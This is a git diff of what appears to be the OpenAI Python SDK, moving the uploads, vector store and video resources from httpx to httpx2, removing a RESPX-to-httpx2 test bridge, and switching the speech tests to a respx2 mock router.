--- a/src/openai/resources/uploads/uploads.py
+++ b/src/openai/resources/uploads/uploads.py
@@ -10,7 +10,7 @@
from pathlib import Path
import anyio
-import httpx
+import httpx2
from ... import _legacy_response
from .parts import (
@@ -178,7 +178,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Upload:
"""
Creates an intermediate
@@ -260,7 +260,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Upload:
"""Cancels the Upload.
@@ -302,7 +302,7 @@ def complete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Upload:
"""
Completes the
@@ -506,7 +506,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Upload:
"""
Creates an intermediate
@@ -588,7 +588,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Upload:
"""Cancels the Upload.
@@ -630,7 +630,7 @@ async def complete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Upload:
"""
Completes the
diff --git a/src/openai/resources/vector_stores/file_batches.py b/src/openai/resources/vector_stores/file_batches.py
index 6e48c2d07b..9bd5040172 100644
--- a/src/openai/resources/vector_stores/file_batches.py
+++ b/src/openai/resources/vector_stores/file_batches.py
@@ -7,7 +7,7 @@
from typing_extensions import Union, Literal
from concurrent.futures import Future, ThreadPoolExecutor, as_completed
-import httpx
+import httpx2
import sniffio
from ... import _legacy_response
@@ -61,7 +61,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileBatch:
"""
Create a vector store file batch.
@@ -132,7 +132,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileBatch:
"""
Retrieves a vector store file batch.
@@ -177,7 +177,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileBatch:
"""Cancel a vector store file batch.
@@ -228,7 +228,7 @@ def create_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileBatch:
"""Create a vector store batch and poll until all files have been processed."""
batch = self.create(
@@ -264,7 +264,7 @@ def list_files(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[VectorStoreFile]:
"""
Returns a list of vector store files in a batch.
@@ -449,7 +449,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileBatch:
"""
Create a vector store file batch.
@@ -520,7 +520,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileBatch:
"""
Retrieves a vector store file batch.
@@ -565,7 +565,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileBatch:
"""Cancel a vector store file batch.
@@ -616,7 +616,7 @@ async def create_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileBatch:
"""Create a vector store batch and poll until all files have been processed."""
batch = await self.create(
@@ -652,7 +652,7 @@ def list_files(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[VectorStoreFile, AsyncCursorPage[VectorStoreFile]]:
"""
Returns a list of vector store files in a batch.
diff --git a/src/openai/resources/vector_stores/files.py b/src/openai/resources/vector_stores/files.py
index 69534b0c99..06ae07129d 100644
--- a/src/openai/resources/vector_stores/files.py
+++ b/src/openai/resources/vector_stores/files.py
@@ -5,7 +5,7 @@
from typing import TYPE_CHECKING, Dict, Union, Optional
from typing_extensions import Literal, assert_never
-import httpx
+import httpx2
from ... import _legacy_response
from ...types import FileChunkingStrategyParam
@@ -57,7 +57,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
"""
Create a vector store file by attaching a
@@ -121,7 +121,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
"""
Retrieves a vector store file.
@@ -165,7 +165,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
"""
Update attributes on a vector store file.
@@ -219,7 +219,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[VectorStoreFile]:
"""
Returns a list of vector store files.
@@ -287,7 +287,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileDeleted:
"""Delete a vector store file.
@@ -337,7 +337,7 @@ def create_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
"""Attach a file to the given vector store and wait for it to be processed."""
self.create(
@@ -442,7 +442,7 @@ def content(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[FileContentResponse]:
"""
Retrieve the parsed contents of a vector store file.
@@ -511,7 +511,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
"""
Create a vector store file by attaching a
@@ -575,7 +575,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
"""
Retrieves a vector store file.
@@ -619,7 +619,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
"""
Update attributes on a vector store file.
@@ -673,7 +673,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[VectorStoreFile, AsyncCursorPage[VectorStoreFile]]:
"""
Returns a list of vector store files.
@@ -741,7 +741,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFileDeleted:
"""Delete a vector store file.
@@ -791,7 +791,7 @@ async def create_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreFile:
"""Attach a file to the given vector store and wait for it to be processed."""
await self.create(
@@ -898,7 +898,7 @@ def content(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[FileContentResponse, AsyncPage[FileContentResponse]]:
"""
Retrieve the parsed contents of a vector store file.
diff --git a/src/openai/resources/vector_stores/vector_stores.py b/src/openai/resources/vector_stores/vector_stores.py
index 826f808e5b..a177c368c1 100644
--- a/src/openai/resources/vector_stores/vector_stores.py
+++ b/src/openai/resources/vector_stores/vector_stores.py
@@ -5,7 +5,7 @@
from typing import Union, Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from .files import (
@@ -89,7 +89,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStore:
"""
Create a vector store.
@@ -157,7 +157,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStore:
"""
Retrieves a vector store.
@@ -198,7 +198,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStore:
"""
Modifies a vector store.
@@ -258,7 +258,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[VectorStore]:
"""Returns a list of vector stores.
@@ -321,7 +321,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreDeleted:
"""
Delete a vector store.
@@ -364,7 +364,7 @@ def search(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[VectorStoreSearchResponse]:
"""
Search a vector store for relevant chunks based on a query and file attributes
@@ -460,7 +460,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStore:
"""
Create a vector store.
@@ -528,7 +528,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStore:
"""
Retrieves a vector store.
@@ -569,7 +569,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStore:
"""
Modifies a vector store.
@@ -629,7 +629,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[VectorStore, AsyncCursorPage[VectorStore]]:
"""Returns a list of vector stores.
@@ -692,7 +692,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VectorStoreDeleted:
"""
Delete a vector store.
@@ -735,7 +735,7 @@ def search(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[VectorStoreSearchResponse, AsyncPage[VectorStoreSearchResponse]]:
"""
Search a vector store for relevant chunks based on a query and file attributes
diff --git a/src/openai/resources/videos.py b/src/openai/resources/videos.py
index 090ab62fa9..37ceb9a660 100644
--- a/src/openai/resources/videos.py
+++ b/src/openai/resources/videos.py
@@ -5,7 +5,7 @@
from typing import TYPE_CHECKING, Mapping, cast
from typing_extensions import Literal, assert_never
-import httpx
+import httpx2
from .. import _legacy_response
from ..types import (
@@ -79,7 +79,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Create a new video generation job from a prompt and optional reference assets.
@@ -148,7 +148,7 @@ def create_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""Create a video and wait for it to be processed."""
video = self.create(
@@ -216,7 +216,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Fetch the latest metadata for a generated video.
@@ -255,7 +255,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[Video]:
"""
List recently generated videos for the current project.
@@ -306,7 +306,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VideoDeleteResponse:
"""
Permanently delete a completed or failed video and its stored assets.
@@ -344,7 +344,7 @@ def create_character(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VideoCreateCharacterResponse:
"""
Create a character from an uploaded video.
@@ -398,7 +398,7 @@ def download_content(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Download the generated video bytes or a derived preview asset.
@@ -442,7 +442,7 @@ def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Create a new video generation job by editing a source video or existing
@@ -498,7 +498,7 @@ def extend(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Create an extension of a completed video.
@@ -555,7 +555,7 @@ def get_character(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VideoGetCharacterResponse:
"""
Fetch a character.
@@ -593,7 +593,7 @@ def remix(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Create a remix of a completed video using a refreshed prompt.
@@ -658,7 +658,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Create a new video generation job from a prompt and optional reference assets.
@@ -727,7 +727,7 @@ async def create_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""Create a video and wait for it to be processed."""
video = await self.create(
@@ -795,7 +795,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Fetch the latest metadata for a generated video.
@@ -834,7 +834,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Video, AsyncConversationCursorPage[Video]]:
"""
List recently generated videos for the current project.
@@ -885,7 +885,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VideoDeleteResponse:
"""
Permanently delete a completed or failed video and its stored assets.
@@ -923,7 +923,7 @@ async def create_character(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VideoCreateCharacterResponse:
"""
Create a character from an uploaded video.
@@ -977,7 +977,7 @@ async def download_content(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Download the generated video bytes or a derived preview asset.
@@ -1023,7 +1023,7 @@ async def edit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Create a new video generation job by editing a source video or existing
@@ -1079,7 +1079,7 @@ async def extend(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Create an extension of a completed video.
@@ -1136,7 +1136,7 @@ async def get_character(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> VideoGetCharacterResponse:
"""
Fetch a character.
@@ -1174,7 +1174,7 @@ async def remix(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""
Create a remix of a completed video using a refreshed prompt.
diff --git a/tests/_httpx2_respx.py b/tests/_httpx2_respx.py
deleted file mode 100644
index 3b66323daf..0000000000
--- a/tests/_httpx2_respx.py
+++ /dev/null
@@ -1,92 +0,0 @@
-from __future__ import annotations
-
-import os
-from typing import Any, NoReturn
-
-import httpx
-import pytest
-from respx import MockRouter
-
-from openai import DefaultHttpx2Client, DefaultAsyncHttpx2Client
-
-
-def httpx2_enabled() -> bool:
- return os.environ.get("OPENAI_TEST_HTTP_CLIENT") == "httpx2"
-
-
-def sync_http_client(**kwargs: Any) -> httpx.Client:
- if httpx2_enabled():
- return DefaultHttpx2Client(**kwargs)
- return httpx.Client(**kwargs)
-
-
-def async_http_client(**kwargs: Any) -> httpx.AsyncClient:
- if httpx2_enabled():
- return DefaultAsyncHttpx2Client(**kwargs)
- return httpx.AsyncClient(**kwargs)
-
-
-def enable_httpx2_respx(
- router: MockRouter, monkeypatch: pytest.MonkeyPatch, *, replace_sdk_defaults: bool = True
-) -> None:
- httpx2 = pytest.importorskip("httpx2")
-
- # RESPX deliberately only understands HTTPX objects. Keep the SDK side native and
- # translate at this single test-only boundary so existing routes, callbacks, and
- # call assertions can be exercised against HTTPX2 without copied test cases.
- def httpx_request(native_request: Any, *, content: bytes) -> httpx.Request:
- return httpx.Request(
- native_request.method,
- str(native_request.url),
- headers=list(native_request.headers.multi_items()),
- content=content,
- extensions=dict(native_request.extensions),
- )
-
- def httpx2_response(response: httpx.Response, *, native_request: Any, content: bytes) -> Any:
- return httpx2.Response(
- response.status_code,
- headers=list(response.headers.multi_items()),
- # Supplying a stream keeps streaming-response tests meaningful: the native
- # response stays open until the SDK consumes or closes it.
- stream=httpx2.ByteStream(content),
- request=native_request,
- extensions=dict(response.extensions),
- )
-
- def raise_native_request_error(exc: httpx.RequestError, native_request: Any) -> NoReturn:
- native_error = getattr(httpx2, type(exc).__name__, httpx2.RequestError)
- raise native_error(str(exc), request=native_request) from exc
-
- def handler(native_request: Any) -> Any:
- try:
- response = router.handler(httpx_request(native_request, content=native_request.read()))
- except httpx.RequestError as exc:
- raise_native_request_error(exc, native_request)
- return httpx2_response(response, native_request=native_request, content=response.read())
-
- async def async_handler(native_request: Any) -> Any:
- try:
- response = await router.async_handler(httpx_request(native_request, content=await native_request.aread()))
- except httpx.RequestError as exc:
- raise_native_request_error(exc, native_request)
- return httpx2_response(response, native_request=native_request, content=await response.aread())
-
- # Match RESPX's own patch point. This also catches clients created inside a test,
- # while leaving every non-RESPX test on its ordinary transport.
- def sync_transport(*_args: Any) -> Any:
- return httpx2.MockTransport(handler)
-
- def async_transport(*_args: Any) -> Any:
- return httpx2.MockTransport(async_handler)
-
- monkeypatch.setattr(httpx2.Client, "_transport_for_url", sync_transport)
- monkeypatch.setattr(httpx2.AsyncClient, "_transport_for_url", async_transport)
-
- if replace_sdk_defaults:
- import openai._base_client as base_client
-
- # Clients constructed inside a RESPX test should exercise the same native
- # path as the shared fixtures; the base-compatibility tests opt out.
- monkeypatch.setattr(base_client, "SyncHttpxClientWrapper", DefaultHttpx2Client)
- monkeypatch.setattr(base_client, "AsyncHttpxClientWrapper", DefaultAsyncHttpx2Client)
diff --git a/tests/api_resources/audio/test_speech.py b/tests/api_resources/audio/test_speech.py
index 9ad6d28316..76257dc4a7 100644
--- a/tests/api_resources/audio/test_speech.py
+++ b/tests/api_resources/audio/test_speech.py
@@ -5,13 +5,13 @@
import os
from typing import Any, cast
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
import openai._legacy_response as _legacy_response
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
+from tests.respx2 import MockRouter
# pyright: reportDeprecated=false
@@ -22,9 +22,9 @@ class TestSpeech:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_create(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/audio/speech").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
speech = client.audio.speech.create(
input="string",
model="tts-1",
@@ -34,9 +34,9 @@ def test_method_create(self, client: OpenAI, respx_mock: MockRouter) -> None:
assert speech.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_method_create_with_all_params(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/audio/speech").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_method_create_with_all_params(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
speech = client.audio.speech.create(
input="string",
model="tts-1",
@@ -50,9 +50,9 @@ def test_method_create_with_all_params(self, client: OpenAI, respx_mock: MockRou
assert speech.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_raw_response_create(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/audio/speech").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_raw_response_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = client.audio.speech.with_raw_response.create(
input="string",
@@ -66,9 +66,9 @@ def test_raw_response_create(self, client: OpenAI, respx_mock: MockRouter) -> No
assert_matches_type(_legacy_response.HttpxBinaryResponseContent, speech, path=["response"])
@parametrize
- @pytest.mark.respx(base_url=base_url)
- def test_streaming_response_create(self, client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/audio/speech").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ def test_streaming_response_create(self, client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
with client.audio.speech.with_streaming_response.create(
input="string",
model="tts-1",
@@ -89,9 +89,9 @@ class TestAsyncSpeech:
)
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_create(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/audio/speech").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_create(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
speech = await async_client.audio.speech.create(
input="string",
model="tts-1",
@@ -101,9 +101,9 @@ async def test_method_create(self, async_client: AsyncOpenAI, respx_mock: MockRo
assert speech.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_method_create_with_all_params(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/audio/speech").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
speech = await async_client.audio.speech.create(
input="string",
model="tts-1",
@@ -117,9 +117,9 @@ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI, re
assert speech.json() == {"foo": "bar"}
@parametrize
- @pytest.mark.respx(base_url=base_url)
- async def test_raw_response_create(self, async_client: AsyncOpenAI, respx_mock: MockRouter) -> None:
- respx_mock.post("/audio/speech").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_raw_response_create(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.post("/audio/speech").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.audio.speech.with_raw_response.create(
